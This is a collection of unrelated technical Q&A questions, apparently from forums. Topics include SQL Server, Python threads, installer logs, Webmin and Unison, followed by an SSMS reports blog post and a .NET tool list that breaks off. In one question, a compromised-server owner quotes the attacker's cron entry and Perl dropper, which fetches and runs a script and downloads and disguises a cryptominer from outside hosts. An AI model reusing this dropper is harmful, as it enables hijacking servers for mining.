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• Find query that caused update

  - by MadMax

  We have been having problems with ghost updates in our DB (SQL Server 2005) fields are changeing and we cannot find the routine that is updating. Is there a way using an update trigger (Or any other way) to tell what caused the update?

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• Way to kill python thread from inside thread?

  - by user859434

  I have some python code that currently performs expensive computation by performing the computation in parallel through many threads. For a given time period, many threads are created and started on the fly that share the same code which is explicitly stated within the run method of the thread. My question is how do I stop/kill a thread at the end of its run method? (the run is only called once) I need to do this in order to create more threads for the next batch of computation. #Example class someThread(threading.Thread): def __init__(self): #some init code def run(self): #Explicitly Stated Code without constant loops #Something performed to stop/kill this thread

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• Will AJAX cause my site to have a high bounce % and hurt my search ratings?

  - by Cryo

  I'm building an art gallery website that updates its images via AJAX, for those who have javascript enabled, rather than request multiple page loads. I assume this will appear as though my site has a high bounce percentage. I understand that search engines will not be able to index dynamic content, but will such a misinterpreted bounce rate hurt my search engine ratings, even if I have many return visitors?

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• Error when installing AppFabric 1.1 on Server 2012 64bit

  - by no9

  I am trying to install AppFabric 1.1 on 64bit Windows Server 2012 R2. All updates have been installed and updates are turned ON .NET Framework 4.0 is installed .NET Framework 3.5 is installed IIS is installed Windows Powershell 3.0 should already be included in Server 2012 I am getting the following error: 2014-03-21 11:02:34, Information Setup ===== Logging started: 2014-03-21 11:02:34+01:00 ===== 2014-03-21 11:02:34, Information Setup File: c:\6c4006b0b3f6dee1bf616f1967\setup.exe 2014-03-21 11:02:34, Information Setup InternalName: Setup.exe 2014-03-21 11:02:34, Information Setup OriginalFilename: Setup.exe 2014-03-21 11:02:34, Information Setup FileVersion: 1.1.2106.32 2014-03-21 11:02:34, Information Setup FileDescription: Setup.exe 2014-03-21 11:02:34, Information Setup Product: Microsoft(R) Windows(R) Server AppFabric 2014-03-21 11:02:34, Information Setup ProductVersion: 1.1.2106.32 2014-03-21 11:02:34, Information Setup Debug: False 2014-03-21 11:02:34, Information Setup Patched: False 2014-03-21 11:02:34, Information Setup PreRelease: False 2014-03-21 11:02:34, Information Setup PrivateBuild: False 2014-03-21 11:02:34, Information Setup SpecialBuild: False 2014-03-21 11:02:34, Information Setup Language: Language Neutral 2014-03-21 11:02:34, Information Setup 2014-03-21 11:02:34, Information Setup OS Name: Windows Server 2012 R2 Standard 2014-03-21 11:02:34, Information Setup OS Edition: ServerStandard 2014-03-21 11:02:34, Information Setup OSVersion: Microsoft Windows NT 6.2.9200.0 2014-03-21 11:02:34, Information Setup CurrentCulture: sl-SI 2014-03-21 11:02:34, Information Setup Processor Architecture: AMD64 2014-03-21 11:02:34, Information Setup Event Registration Source : AppFabric_Setup 2014-03-21 11:02:34, Information Setup 2014-03-21 11:02:34, Information Setup Microsoft.ApplicationServer.Setup.Upgrade.V1UpgradeSetupModule : Initiating V1.0 Upgrade module. 2014-03-21 11:02:34, Information Setup Microsoft.ApplicationServer.Setup.Upgrade.V1UpgradeSetupModule : V1.0 is not installed. 2014-03-21 11:02:54, Information Setup Microsoft.ApplicationServer.Setup.Upgrade.V1UpgradeSetupModule : Initiating V1 Upgrade pre-install. 2014-03-21 11:02:54, Information Setup Microsoft.ApplicationServer.Setup.Upgrade.V1UpgradeSetupModule : V1.0 is not installed, not taking backup. 2014-03-21 11:02:55, Information Setup Executing C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_regiis.exe with commandline -iru. 2014-03-21 11:02:55, Information Setup Return code from aspnet_regiis.exe is 0 2014-03-21 11:02:55, Information Setup Process.Start: C:\Windows\system32\msiexec.exe /quiet /norestart /i "c:\6c4006b0b3f6dee1bf616f1967\Microsoft CCR and DSS Runtime 2008 R3.msi" /l*vx "C:\Users\Administrator\AppData\Local\Temp\AppServerSetup1_1(2014-03-21 11-02-55).log" 2014-03-21 11:02:57, Information Setup Process.ExitCode: 0x00000000 2014-03-21 11:02:57, Information Setup Windows features successfully enabled. 2014-03-21 11:02:57, Information Setup Process.Start: C:\Windows\system32\msiexec.exe /quiet /norestart /i "c:\6c4006b0b3f6dee1bf616f1967\Packages\AppFabric-1.1-for-Windows-Server-64.msi" ADDDEFAULT=Worker,WorkerAdmin,CacheService,CacheAdmin,Setup /l*vx "C:\Users\Administrator\AppData\Local\Temp\AppServerSetup1_1(2014-03-21 11-02-57).log" LOGFILE="C:\Users\Administrator\AppData\Local\Temp\AppServerSetup1_1_CustomActions(2014-03-21 11-02-57).log" INSTALLDIR="C:\Program Files\AppFabric 1.1 for Windows Server" LANGID=en-US 2014-03-21 11:03:45, Information Setup Process.ExitCode: 0x00000643 2014-03-21 11:03:45, Error Setup AppFabric installation failed because installer MSI returned with error code : 1603 2014-03-21 11:03:45, Error Setup 2014-03-21 11:03:45, Error Setup AppFabric installation failed because installer MSI returned with error code : 1603 2014-03-21 11:03:45, Error Setup 2014-03-21 11:03:45, Information Setup Microsoft.ApplicationServer.Setup.Core.SetupException: AppFabric installation failed because installer MSI returned with error code : 1603 2014-03-21 11:03:45, Information Setup at Microsoft.ApplicationServer.Setup.Installer.WindowsInstallerProxy.GenerateAndThrowSetupException(Int32 exitCode, LogEventSource logEventSource) 2014-03-21 11:03:45, Information Setup at Microsoft.ApplicationServer.Setup.Installer.WindowsInstallerProxy.Invoke(LogEventSource logEventSource, InstallMode installMode, String packageIdentity, List`1 updateList, List`1 customArguments) 2014-03-21 11:03:45, Information Setup at Microsoft.ApplicationServer.Setup.Installer.MsiInstaller.InstallSelectedFeatures() 2014-03-21 11:03:45, Information Setup at Microsoft.ApplicationServer.Setup.Installer.MsiInstaller.Install() 2014-03-21 11:03:45, Information Setup at Microsoft.ApplicationServer.Setup.Client.ProgressPage.StartAction() 2014-03-21 11:03:45, Information Setup 2014-03-21 11:03:45, Information Setup === Summary of Actions === 2014-03-21 11:03:45, Information Setup Required Windows components : Completed Successfully 2014-03-21 11:03:45, Information Setup IIS Management Console : Completed Successfully 2014-03-21 11:03:45, Information Setup Microsoft CCR and DSS Runtime 2008 R3 : Completed Successfully 2014-03-21 11:03:45, Information Setup AppFabric 1.1 for Windows Server : Failed 2014-03-21 11:03:45, Information Setup Hosting Services : Failed 2014-03-21 11:03:45, Information Setup Caching Services : Failed 2014-03-21 11:03:45, Information Setup Hosting Administration : Failed 2014-03-21 11:03:45, Information Setup Cache Administration : Failed 2014-03-21 11:03:45, Information Setup Microsoft Update : Skipped 2014-03-21 11:03:45, Information Setup Microsoft Update : Skipped 2014-03-21 11:03:45, Information Setup 2014-03-21 11:03:45, Information Setup ===== Logging stopped: 2014-03-21 11:03:45+01:00 ===== I have tried this solution but no success: http://stackoverflow.com/questions/11205927/appfabric-installation-failed-because-installer-msi-returned-with-error-code-1 My system enviroment variable PSModulesPath has this value: C:\Windows\System32\WindowsPowerShell\v1.0\Modules I have also followed this link with no success: http://jefferytay.wordpress.com/2013/12/11/installing-appfabric-on-windows-server-2012/ Any help would be greatly appreciated !

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• Managing access to multiple linux system

  - by Swartz

  A searched for answers but have found nothing on here... Long story short: a non-profit organization is in dire need of modernizing its infrastructure. First thing is to find an alternatives to managing user accounts on a number of Linux hosts. We have 12 servers (both physical and virtual) and about 50 workstations. We have 500 potential users for these systems. The individual who built and maintained the systems over the years has retired. He wrote his own scripts to manage it all. It still works. No complaints there. However, a lot of the stuff is very manual and error-prone. Code is messy and after updates often needs to be tweaked. Worst part is there is little to no docs written. There are just a few ReadMe's and random notes which may or may not be relevant anymore. So maintenance has become a difficult task. Currently accounts are managed via /etc/passwd on each system. Updates are distributed via cron scripts to correct systems as accounts are added on the "main" server. Some users have to have access to all systems (like a sysadmin account), others need access to shared servers, while others may need access to workstations or only a subset of those. Is there a tool that can help us manage accounts that meets the following requirements? Preferably open source (i.e. free as budget is VERY limited) mainstream (i.e. maintained) preferably has LDAP integration or could be made to interface with LDAP or AD service for user authentication (will be needed in the near future to integrate accounts with other offices) user management (adding, expiring, removing, lockout, etc) allows to manage what systems (or group of systems) each user has access to - not all users are allowed on all systems support for user accounts that could have different homedirs and mounts available depending on what system they are logged into. For example sysadmin logged into "main" server has main://home/sysadmin/ as homedir and has all shared mounts sysadmin logged into staff workstations would have nas://user/s/sysadmin as homedir(different from above) and potentially limited set of mounts, a logged in client would have his/her homedir at different location and no shared mounts. If there is an easy management interface that would be awesome. And if this tool is cross-platform (Linux / MacOS / *nix), that will be a miracle! I have searched the web and so have found nothing suitable. We are open to any suggestions. Thank you. EDIT: This question has been incorrectly marked as a duplicate. The linked to answer only talks about having same homedirs on all systems, whereas we need to have different homedirs based on what system user is currently logged into(MULTIPLE homedirs). Also access needs to be granted only to some machinees not the whole lot. Mods, please understand the full extent of the problem instead of merely marking it as duplicate for points...

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• virturalmin webmin dose not respond

  - by Miranda

  I have installed Virtualmin on a CentOS remote server, but it dose not seem to work https://115.146.95.118:10000/ at least the Webmin page dose not work. I have opened those ports http ALLOW 80:80 from 0.0.0.0/0 ALLOW 443:443 from 0.0.0.0/0 ssh ALLOW 22:22 from 0.0.0.0/0 virtualmin ALLOW 20000:20000 from 0.0.0.0/0 ALLOW 10000:10009 from 0.0.0.0/0 And restarting Webmin dose not solve it: /etc/rc.d/init.d/webmin restart Stopping Webmin server in /usr/libexec/webmin Starting Webmin server in /usr/libexec/webmin And I have tried to use Amazon EC2 this time, still couldn't get it to work. http://ec2-67-202-21-21.compute-1.amazonaws.com:10000/ [ec2-user@ip-10-118-239-13 ~]$ netstat -an | grep :10000 tcp 0 0 0.0.0.0:10000 0.0.0.0:* LISTEN udp 0 0 0.0.0.0:10000 0.0.0.0:* [ec2-user@ip-10-118-239-13 ~]$ sudo iptables -L -n Chain INPUT (policy ACCEPT) target prot opt source destination ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:20 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:21 ACCEPT udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:53 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:20000 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:10000 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:443 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:993 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:143 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:995 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:110 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:20 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:21 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:53 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:587 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:25 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 Chain FORWARD (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination Since I need more than 10 reputation to post image, you can find the screenshots of the security group setting at the Webmin Support Forum. I have tried: sudo iptables -A INPUT -p tcp -m tcp --dport 10000 -j ACCEPT It did not change anything. [ec2-user@ip-10-118-239-13 ~]$ sudo yum install openssl perl-Net-SSLeay perl-Crypt-SSLeay Loaded plugins: fastestmirror, priorities, security, update-motd Loading mirror speeds from cached hostfile * amzn-main: packages.us-east-1.amazonaws.com * amzn-updates: packages.us-east-1.amazonaws.com amzn-main | 2.1 kB 00:00 amzn-updates | 2.3 kB 00:00 Setting up Install Process Package openssl-1.0.0j-1.43.amzn1.i686 already installed and latest version Package perl-Net-SSLeay-1.35-9.4.amzn1.i686 already installed and latest version Package perl-Crypt-SSLeay-0.57-16.4.amzn1.i686 already installed and latest version Nothing to do [ec2-user@ip-10-118-239-13 ~]$ nano /etc/webmin/miniserv.conf GNU nano 2.0.9 File: /etc/webmin/miniserv.conf port=10000 root=/usr/libexec/webmin mimetypes=/usr/libexec/webmin/mime.types addtype_cgi=internal/cgi realm=Webmin Server logfile=/var/webmin/miniserv.log errorlog=/var/webmin/miniserv.error pidfile=/var/webmin/miniserv.pid logtime=168 ppath= ssl=1 env_WEBMIN_CONFIG=/etc/webmin env_WEBMIN_VAR=/var/webmin atboot=1 logout=/etc/webmin/logout-flag listen=10000 denyfile=\.pl$ log=1 blockhost_failures=5 blockhost_time=60 syslog=1 session=1 server=MiniServ/1.585 userfile=/etc/webmin/miniserv.users keyfile=/etc/webmin/miniserv.pem passwd_file=/etc/shadow passwd_uindex=0 passwd_pindex=1 passwd_cindex=2 passwd_mindex=4 passwd_mode=0 preroot=virtual-server-theme passdelay=1 sessiononly=/virtual-server/remote.cgi preload= mobile_preroot=virtual-server-mobile mobile_prefixes=m. mobile. anonymous=/virtualmin-mailman/unauthenticated=anonymous ssl_cipher_list=ECDHE-RSA-AES256-SHA384:AES256-SHA256:AES256-SHA256:RC4:HIGH:MEDIUM:+TLSv1:!MD5:!SSLv2:+SSLv3:!ADH:!aNULL:!eNULL:!NULL:!DH:!ADH:!EDH:!AESGCM

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• Unison synchronization problem. Roots are not identical after synchronization.

  - by binary255

  Hi. When I synchronize two folders using Unison, only one of the roots seems to be affected. Below are all the information I would think is necessary to figure out why it is working like it is. I'm using $ unison -version unison version 2.27.57 From the Ubuntu repositories. My work laptop: $ echo $UNISONLOCALHOSTNAME worklaptop $ pwd /home/userfoo $ ls -lAR .unison* .unison: total 8 drwxr-xr-x 2 userfoo userfoo 4096 2010-04-26 11:39 backups -rw-r--r-- 1 userfoo userfoo 231 2010-04-26 11:38 default.prf .unison/backups: total 0 .unisonroot: total 0 $ cat .unison/default.prf # Roots of the synchronization root = /home/userfoo/.unisonroot root = ssh://devel//home/userbar/.unisonroot path = * backuplocation = central backupdir = /home/.unison/backups backupprefix = $VERSION.bak $ mkdir .unisonroot/aDirectoryFrom-$UNISONLOCALHOSTNAME $ echo something >.unisonroot/aFileFrom-$UNISONLOCALHOSTNAME $ ls .unisonroot/ aDirectoryFrom-worklaptop aFileFrom-worklaptop And the Ubuntu server I want to synchronize with: $ echo $UNISONLOCALHOSTNAME workcmpuserbardevel $ pwd /home/userbar $ ls -lAR .unison* .unison: total 4 drwxr-xr-x 2 userbar userbar 4096 2010-04-26 11:38 .unison .unison/.unison: total 0 .unisonroot: total 0 $ mkdir .unisonroot/aDirectoryFrom-$UNISONLOCALHOSTNAME $ echo something >.unisonroot/aFileFrom-$UNISONLOCALHOSTNAME $ ls .unisonroot/ aDirectoryFrom-workcmpuserbardevel aFileFrom-workcmpuserbardevel I perform the unison synchronization: $ echo $UNISONLOCALHOSTNAME worklaptop $ unison Contacting server... Connected [//worklaptop//home/userfoo/.unisonroot -> //workcmpuserbardevel//home/userbar/.unisonroot] Looking for changes Warning: No archive files were found for these roots, whose canonical names are: /home/userfoo/.unisonroot //workcmpuserbardevel//home/userbar/.unisonroot This can happen either because this is the first time you have synchronized these roots, or because you have upgraded Unison to a new version with a different archive format. Update detection may take a while on this run if the replicas are large. Unison will assume that the 'last synchronized state' of both replicas was completely empty. This means that any files that are different will be reported as conflicts, and any files that exist only on one replica will be judged as new and propagated to the other replica. If the two replicas are identical, then no changes will be reported. If you see this message repeatedly, it may be because one of your machines is getting its address from DHCP, which is causing its host name to change between synchronizations. See the documentation for the UNISONLOCALHOSTNAME environment variable for advice on how to correct this. Donations to the Unison project are gratefully accepted: http://www.cis.upenn.edu/~bcpierce/unison Press return to continue.[<spc>] Waiting for changes from server Reconciling changes local workcmps... dir ----> aDirectoryFrom-worklaptop [f] file ----> aFileFrom-worklaptop [f] Proceed with propagating updates? [] y Propagating updates UNISON 2.27.57 started propagating changes at 11:49:14 on 26 Apr 2010 [BGN] Copying aDirectoryFrom-worklaptop from /home/userfoo/.unisonroot to //workcmpuserbardevel//home/userbar/.unisonroot [BGN] Copying aFileFrom-worklaptop from /home/userfoo/.unisonroot to //workcmpuserbardevel//home/userbar/.unisonroot [END] Copying aDirectoryFrom-worklaptop [END] Copying aFileFrom-worklaptop UNISON 2.27.57 finished propagating changes at 11:49:14 on 26 Apr 2010 Saving synchronizer state Synchronization complete (2 items transferred, 0 skipped, 0 failures) And then check the .unisonroot directory on the computer I started the synchronization from: $ ls .unisonroot/ aDirectoryFrom-worklaptop aFileFrom-worklaptop And on the server: $ echo $UNISONLOCALHOSTNAME workcmpuserbardevel $ ls .unisonroot/ aDirectoryFrom-worklaptop aFileFrom-worklaptop aDirectoryFrom-workcmpuserbardevel aFileFrom-workcmpuserbardevel As can be seen above, the contents of the laptop .unisonroot has not changed while the servers .unisonroot has. The desired result would have been that the two folders would have ended up being identical, holding the union of the contents of the two roots.

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• ./kernelupdates 100% cpu usage

  - by Vaibhav Panmand

  I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below. ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries. But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs. Does this process belong to a mining process? How can we stop cronjob modification and clean the source of this process? Cron entry (apache user) /6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc* abc.txt #!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall -9 PWNEDm"); system("killall -9 minerd64"); system("killall -9 minerd32"); system("killall -9 named"); $rn=1; $ar=`uname -m`; while($rn==1 || $rn==0) { $rn=int(rand(11)); } $exists=`ls /tmp/.ice-unix`; $cratch=`ps aux | grep -v grep | grep kernelupdates`; if($cratch=~/kernelupdates/gi) { die; } if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) { $wig=`wget --version | grep GNU`; if(length($wig>6)) { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } else { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } } @prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382'); $prt=0; while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; } print "setup for $rn:$prt done :-)\n"; system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &"); print "done!\n"; Thanks in advance!

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• What would cause an .exe to vanish without a trace?

  - by Peter pete

  I have a few computers. One computer, at home, one day suddenly had its pgbouncer.exe vanish. The antivirus didn't have it in its virus chest [avast]. I couldn't find the bgbouncer anywhere. All the other pgbouncer files remained where they used to be, except the exe had vanished. I hadn't uninstalled it, nor had anyone else used the machine. I hadn't installed any new software since the previous time I had used it either. Just now, however, my TV computer was running out of disk space, which was weird because I had python setup to do transcoding and archiving. I logged in and voila! python.exe had vanished !! Once again, Avast.exe didn't have it in its virus chest, and dunno! I do this time, with the TV computer, know exactly the date that python vanished. Sat the 18th my python scripts ran fine. Sat the 19th python was gone. I'm going to do some hunting in the event log to see what happened that day. But if anyone has experienced vanishings before and has a clue what happened, I would like to know. FYI: Both computers (bgbouncer vanish and python vanish) were running Win7 with the RDP hack and both on SSDs and both with Avast. Both computers had all windows updates set to manual(to prevent random stuff changing!) and neither had recently had any windows updates manually applied. FYI2: Tv computer had since the beginning of October dropbox running all the time trying to download two files. Sadly, a temporary download of each of these two files by dropbox resulted in Avast freaking out and virus-chesting them, and then dropbox downloading them partially again, before being dropboxed. Now, these two files were binaries from a program I had personally written and were clean on other machines. Since the python vanishing I have deleted these two binaries from dropbox (using the website) and dropbox exe on the tv computer is now at peace. I don't think this should cause python.exe to vanish though :/ New edit: On the 18/10/2013, at 0742 my python script ended with an error: "file still in use" which was unexpected but I shrugged it off since sometimes media portal doesn't release the recording. But on second thoughts is weird since the show in use would have been finished recording the day before. On the 18/10/2013 at 0807 the windows event log complains that several drivers required for CutePDF, send to onenote 2010, send to onenote 2013, microsoft xps document writer aren't installed. I just checked now and indeed those printers have vanished! New update! I found my python.exe that had been removed. It was still in the C:\Python33\ directory except it had been renamed to a random string charater.tmp (ie, it was made into a temp file) with a creation date of 19/10/2013 at 0600:02 am. Now, the computer normally wakes at 6am to do transcoding. What could have moved my python file into a tmp file?

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• Two pass blur shader using libgdx tile map renderer

  - by Alexandre GUIDET

  I am trying to apply the following technique: blur effect using two pass shader to my libgdx game using the OrthogonalTiledMapRenderer. The idea is to blur the background wich is also a tilemap but rendered with another camera with a different zoom applied. Here is a screen capture without effect: Using the OrthogonalTiledMapRenderer sprite batch like this: backgroundMapRenderer.getSpriteBatch().setShader(shaderBlurX); backgroundMapRenderer.render(layerBackground); I get the following render: Wich is ok for X blur pass. I then try using frame buffer object like in this example. But the effect seems to be too much zoomed: I may be messing up with the camera and the zoom factor. Here is the code: private ShaderProgram shaderBlurX; private ShaderProgram shaderBlurY; private int FBO_SIZE = 800; private FrameBuffer targetA; private FrameBuffer targetB; targetA = new FrameBuffer(Pixmap.Format.RGBA8888, FBO_SIZE, FBO_SIZE, false); targetB = new FrameBuffer(Pixmap.Format.RGBA8888, FBO_SIZE, FBO_SIZE, false); targetA.begin(); Gdx.gl.glClearColor(1, 1, 1, 0); Gdx.gl.glClear(GL10.GL_COLOR_BUFFER_BIT); backgroundMapRenderer.render(layerBackground); targetA.end(); targetB.begin(); Gdx.gl.glClearColor(1, 1, 1, 0); Gdx.gl.glClear(GL10.GL_COLOR_BUFFER_BIT); backgroundMapRenderer.getSpriteBatch().setShader(shaderBlurX); backgroundMapRenderer.render(layerBackground); targetB.end(); TextureRegion back = new TextureRegion(targetB.getColorBufferTexture()); back.flip(false, true); backgroundMapRenderer.getSpriteBatch() .setProjectionMatrix(backgroundCamera.combined); backgroundMapRenderer.getSpriteBatch().setShader(shaderBlurY); backgroundMapRenderer.getSpriteBatch().begin(); backgroundMapRenderer.getSpriteBatch().draw(back, 0, 0); backgroundMapRenderer.getSpriteBatch().end(); I know I am making something the wrong way, but I can't find any resources about applying two passes shader using tile map renderer. Does someone know how to achieve this?

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• SQL SERVER – Out of the Box – Activty and Performance Reports from SSSMS

  - by pinaldave

  SQL Server management Studio 2008 is wonderful tool and has many different features. Many times, an average user does not use them as they are not aware about these features. Today, we will learn one such feature. SSMS comes with many inbuilt performance and activity reports, but we do not use it to the full potential. Let us see how we can access these standard reports. Connect to SQL Server Node >> Right Click on it >> Go to Reports >> Click on Standard Reports >> Pick Any Report. Click to Enlarge You can see there are many reports, which an average users needs right away, are available there. Let me list all the reports available. Server Dashboard Configuration Changes History Schema Changes History Scheduler Health Memory Consumption Activity – All Blocking Transactions Activity – All Cursors Activity – All Sessions Activity – Top Sessions Activity – Dormant Sessions Activity -  Top Connections Top Transactions by Age Top Transactions by Blocked Transactions Count Top Transactions by Locks Count Performance – Batch Execution Statistics Performance – Object Execution Statistics Performance – Top Queries by Average CPU Time Performance – Top Queries by Average IO Performance – Top Queries by Total CPU Time Performance – Top Queries by Total IO Service Broker Statistics Transactions Log Shipping Status In fact, when you look at the above list, it is fairly clear that they are very thought out and commonly needed reports that are available in SQL Server 2008. Let us run a couple of reports and observe their result. Performance – Top Queries by Total CPU Time Click to Enlarge Memory Consumption Click to Enlarge There are options for custom reports as well, which we can configure. We will learn about them in some other post. Additionally, you can right click on the reports and export in Excel or PDF. I think this tool can really help those who are just looking for some quick details. Does any of you use this feature, or this feature has some limitations and You would like to see more features? Reference : Pinal Dave (http://blog.SQLAuthority.com) Filed under: Pinal Dave, SQL, SQL Authority, SQL Optimization, SQL Performance, SQL Query, SQL Server, SQL Server Management Studio, SQL Tips and Tricks, T SQL, Technology

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• Tools and Utilities for the .NET Developer

  - by mbcrump

  Tweet this list! Add a link to my site to your bookmarks to quickly find this page again! Add me to twitter! This is a list of the tools/utilities that I use to do my job/hobby. I wanted this page to load fast and contain information that only you care about. If I have missed a tool that you like, feel free to contact me and I will add it to the list. Also, this list took a lot of time to complete. Please do not steal my work, if you like the page then please link back to my site. I will keep the links/information updated as new tools/utilities are created.  Windows/.NET Development – This is a list of tools that any Windows/.NET developer should have in his bag. I have used at some point in my career everything listed on this page and below is the tools worth keeping. Name Description License AnkhSVN Subversion support for Visual Studio. It also works with VS2010. Free Aurora XAML Designer One of the best XAML creation tools available. Has a ton of built in templates that you can copy/paste into VS2010. COST/Trial BeyondCompare Beyond Compare 3 is the ideal tool for comparing files and folders on your Windows or Linux system. Visualize changes in your code and carefully reconcile them. COST/Trial BuildIT Automated Task Tool Its main purpose is to automate tasks, whether it is the final packaging of a product, an automated daily build, maybe sending out a mailing list, even backing-up files. Free C Sharper for VB Convert VB to C#. COST CLRProfiler Analyze and improve the behavior of your .NET app. Free CodeRush Direct competitor to ReSharper, contains similar feature. This is one of those decide for yourself. COST/Trial Disk2VHD Disk2vhd is a utility that creates VHD (Virtual Hard Disk - Microsoft's Virtual Machine disk format) versions of physical disks for use in Microsoft Virtual PC or Microsoft Hyper-V virtual machines (VMs). Free Eazfuscator.NET Is a free obfuscator for .NET. The main purpose is to protect intellectual property of software. Free EQATEC Profiler Make your .NET app run faster. No source code changes are needed. Just point the profiler to your app, run the modified code, and get a visual report. COST Expression Studio 3/4 Comes with Web, Blend, Sketch Flow and more. You can create websites, produce beautiful XAML and more. COST/Trial Expresso The award-winning Expresso editor is equally suitable as a teaching tool for the beginning user of regular expressions or as a full-featured development environment for the experienced programmer or web designer with an extensive knowledge of regular expressions. Free Fiddler Fiddler is a web debugging proxy which logs all HTTP(s) traffic between your computer and the internet. Free Firebug Powerful Web development tool. If you build websites, you will need this. Free FxCop FxCop is an application that analyzes managed code assemblies (code that targets the .NET Framework common language runtime) and reports information about the assemblies, such as possible design, localization, performance, and security improvements. Free GAC Browser and Remover Easy way to remove multiple assemblies from the GAC. Assemblies registered by programs like Install Shield can also be removed. Free GAC Util The Global Assembly Cache tool allows you to view and manipulate the contents of the global assembly cache and download cache. Free HelpScribble Help Scribble is a full-featured, easy-to-use help authoring tool for creating help files from start to finish. You can create Win Help (.hlp) files, HTML Help (.chm) files, a printed manual and online documentation (on a web site) all from the same Help Scribble project. COST/Trial IETester IETester is a free Web Browser that allows you to have the rendering and JavaScript engines of IE9 preview, IE8, IE7 IE 6 and IE5.5 on Windows 7, Vista and XP, as well as the installed IE in the same process. Free iTextSharp iText# (iTextSharp) is a port of the iText open source java library for PDF generation written entirely in C# for the .NET platform. Use the iText mailing list to get support. Free Kaxaml Kaxaml is a lightweight XAML editor that gives you a "split view" so you can see both your XAML and your rendered content. Free LINQPad LinqPad lets you interactively query databases in a LINQ. Free Linquer Many programmers are familiar with SQL and will need a help in the transition to LINQ. Sometimes there are complicated queries to be written and Linqer can help by converting SQL scripts to LINQ. COST/Trial LiquidXML Liquid XML Studio 2010 is an advanced XML developers toolkit and IDE, containing all the tools needed for designing and developing XML schema and applications. COST/Trial Log4Net log4net is a tool to help the programmer output log statements to a variety of output targets. log4net is a port of the excellent log4j framework to the .NET runtime. We have kept the framework similar in spirit to the original log4j while taking advantage of new features in the .NET runtime. For more information on log4net see the features document. Free Microsoft Web Platform Installer The Microsoft Web Platform Installer 2.0 (Web PI) is a free tool that makes getting the latest components of the Microsoft Web Platform, including Internet Information Services (IIS), SQL Server Express, .NET Framework and Visual Web Developer easy. Free Mono Development Don't have Visual Studio - no problem! This is an open Source C# and .NET development environment for Linux, Windows, and Mac OS X Free Net Mass Downloader While it’s great that Microsoft has released the .NET Reference Source Code, you can only get it one file at a time while you’re debugging. If you’d like to batch download it for reading or to populate the cache, you’d have to write a program that instantiated and called each method in the Framework Class Library. Fortunately, .NET Mass Downloader comes to the rescue! Free nMap Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Free NoScript (Firefox add-in) The NoScript Firefox extension provides extra protection for Firefox, Flock, Seamonkey and other Mozilla-based browsers: this free, open source add-on allows JavaScript, Java and Flash and other plug-ins to be executed only by trusted web sites of your choice (e.g. your online bank), and provides the most powerful Anti-XSS protection available in a browser. Free NotePad 2 Notepad2, a fast and light-weight Notepad-like text editor with syntax highlighting. This program can be run out of the box without installation, and does not touch your system's registry. Free PageSpy PageSpy is a small add-on for Internet Explorer that allows you to select any element within a webpage, select an option in the context menu, and view detailed information about both the coding behind the page and the element you selected. Free Phrase Express PhraseExpress manages your frequently used text snippets in customizable categories for quick access. Free PowerGui PowerGui is a free community for PowerGUI, a graphical user interface and script editor for Microsoft Windows PowerShell! Free Powershell Comes with Win7, but you can automate tasks by using the .NET Framework. Great for network admins. Free Process Explorer Ever wondered which program has a particular file or directory open? Now you 